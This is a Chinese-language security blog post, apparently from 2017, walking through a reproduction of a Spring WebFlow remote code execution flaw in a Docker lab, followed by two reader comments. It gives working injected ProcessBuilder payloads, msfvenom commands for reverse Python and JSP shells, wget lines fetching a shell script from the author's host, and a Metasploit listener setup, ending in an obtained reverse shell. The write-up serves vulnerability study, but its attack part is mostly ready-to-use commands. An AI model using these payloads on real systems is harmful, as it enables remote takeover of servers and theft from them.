回归最本质的信息安全

猥琐思路复现Spring WebFlow远程代码执行

2017年6月15日发布

23,257
2
6

导语:做安全的,思路不猥琐是日不下站的,必须变的猥琐起来,各种思路就会在你脑海中迸发!

说明:做安全的,思路不猥琐是日不下站的,必须变的猥琐起来,各种思路就会在你脑海中迸发。

1.不温不火的漏洞

这个漏洞在六月份的时候就被提交了,但是官方也没有消息,所以圈子里没有人关注也就属于正常现象了。漏洞分析也在三天前发了出来,但是同样不温不火。我也是今天才知道。所以在没有事情的时候测试了一波,配合各种猥琐思路,成功拿到一个反弹的会话。

2.漏洞发现及产生原因

Spring WebFlow在Model的数据绑定上面,由于没有明确指定相关model的具体属性导致从表单可以提交恶意的表达式从而被执行,导致任意代码执行的漏洞。但是复现的环境比较苛刻。除了版本的限制之外还有两个前置条件,这两个前置条件中有一个是默认配置,另外一个就是编码规范了,漏洞能不能利用成功主要就取决于后面的条件。

删删写写,真的不知道要怎么描述,附上这个漏洞分析的链接:分析链接

看完文章反正我是觉得作者好牛的,直接从人家官方发布的补丁中分析出漏洞。我等小菜只负责学习审计思路,复现就好。

3.环境的搭建

docker环境下载地址:点击这里

别问我为什么不自己配环境。。讲一句心里话,我真的感觉做J2EE开发的程序员真心牛,他们配个环境分分钟的事情,还不会报错。今天本来打算自己配置这个spring环境的,结果,配置哭了,一天都没搞好。。还是python好,环境那么好配置。需要什么下什么,重点是一般都不会报什么错误。

没说JAVA不牛,大型项目还得他。zap还是用java写的囊,多牛。单纯环境难配置而已啦,果断选择别人做好的Docker

克隆完成后,执行两条命令

docker-compose build docker-compose up -d

完成之后访问http://ip:30082端口就一切ok了

1497373501197413.png

按理来说访问到这个页面就可以执行漏洞操作了,但是为了方便后续的操作,可以进入docker环境的终端

docker ps –查看当前运行的docker进程

docker exec -it [id号] /bin/bash

1497373521359857.png

之后登陆操作吧

访问:http://ip:30082/hotels/3

ps: 标记的订单号要写16位

1497373534532385.png

之后设置好代理,进行抓包。

点击Confirm,在抓到的包之后添加

 &_(new+java.lang.ProcessBuilder("touch","/tmp/success")).start()=iswin

Go

1497373572426540.png

返回Error不管,直接来到docker下的tmp目录看结果

4.png

成功生成一个success文件.

4.猥琐思路开始闪现

思路–1

默认是 没有python的,方便我的猥琐思路当然要装一个~

apt-get install python

文件创建成功了,还能命令执行,那还说啥子嘛~?直接上python反弹payload去执行

用msfvenom生成反弹的payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o shell.py

获取反弹需要执行的代码

cat shell.py

1497373599190941.png

但是这个时候注意到一个东西"",双引号这个东西,如果放到包中去会被闭合,那样的代码肯定没办法执行啊。不得行,不得不换下一个思路。

正在想怎么办,测试了一个别的命令,之后发现,命令之间不能加空格。。。如下

1497373609171534.png

并没有执行成功。

思路–2

Spring框架,那肯定跟jsp挂钩,直接wget一个jsp马,因为wget命令默认是当前文件夹下,因为上面的得出的结论,并不能添加空格,指定路径,(就算能指定路径,也不知道绝对路径在哪里啊- -!),但是总得尝试的,测一下试试吧。

同样使用msfvenom

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.12.106 lport=4444 -o shell.jsp

把马移动到/var/www/html目录下,保证可以远程下载

mv shell.jsp /var/www/html/shell.jsp
service apache2 start

抓包,改包

&_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.jsp")).start()=iswin

1497373659341858.png

不知道上传到了哪里,执行以下find命令,发现并不在网站根目录下。而是在tomcat目录下

怎么办?mv过去?首先,你不知道网站绝对路径,其次命令中不能加空格啊。好气啊,眼看到手的shell又飞了。不得不继续想办法。

猥琐思路–最终大招

方法肯定不止这一种,没有上面的两种思路,也不会有最后这种骚套路。你想到没?

实现方法:wget+python反弹shell

相信有经验童鞋已经有思路了。肯定很多人还蒙着囊,不是python 双引号被闭合了吗,还要怎么执行???

还不能有空格,怎么玩???别急嘛。

wget可以执行,并且默认都是在一个目录下的,没错python是不能执行,但是shell脚本可以执行啊。

把刚刚生成的python脚本写到一个shell脚本里,下载下来直接执行,一切不就ok了,每空格吧~,双引号?跟我有关系么,哈哈~思路有了,测试.

msfvenom生成反弹的payload

msfvenom -p cmd/unix/reverse_python lhost=192.168.12.106 lport=4444 -o /var/www/html/shell.sh

打开Metasploit设置监听

use exploit/multi/handler
set payload cmd/unix/reverse_python
set lhost 192.168.12.106
set lport 4444
exploit

9.png

提交吧

&_(new+java.lang.ProcessBuilder("wget","http://192.168.12.106/shell.sh")).start()=iswin

1497373845429469.png

执行shell脚本

&_(new+java.lang.ProcessBuilder("/bin/bash","shell.sh")).start()=iswin

1497373860116230.png

成功返回会话

1497373868123239.png

docker没有ifconfig命令的=

如果想获取Meterpreter回话,你觉得还会远么?自己YY

5.总结一下

之前还想写个检测脚本研究一下了,但是写着写着好像突然感觉到,这个漏洞没有像struts那个漏洞一样掀起浪潮是有原因的。他并不能像strtus这个漏洞那样直接可以测试的出,只有白盒才能测出问题所在,知道哪里使用了addEmptyValueMapping这个函数。并不能直接黑盒测试,或许也可以,将所有提交的数据包都加入payload检测,那相当于扫描全站了。或许在拿到授权的测试下,还是可以试一下的,但是我们这种复现漏洞的,还是别拿人家网站乱扫了。。

本文为 smileTT 原创稿件,授权嘶吼独家发布,未经许可禁止转载如若转载: http://www.4hou.com/technology/5449.html

点赞 6
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

smileTT

smileTT

QQ群:617086434

发私信

发表评论

    Mystery
    Mystery 2017-06-15 16:35

    现在做技术分享的越来越少了,能跟TT一样把自己的复现过程整理出文章的人希望越来越多啊,这样技术圈才能更加有活力

    lapua
    lapua 2017-06-15 15:43

    这思路真猥琐啊…不过我挺喜欢的,毕竟攻下来挺好的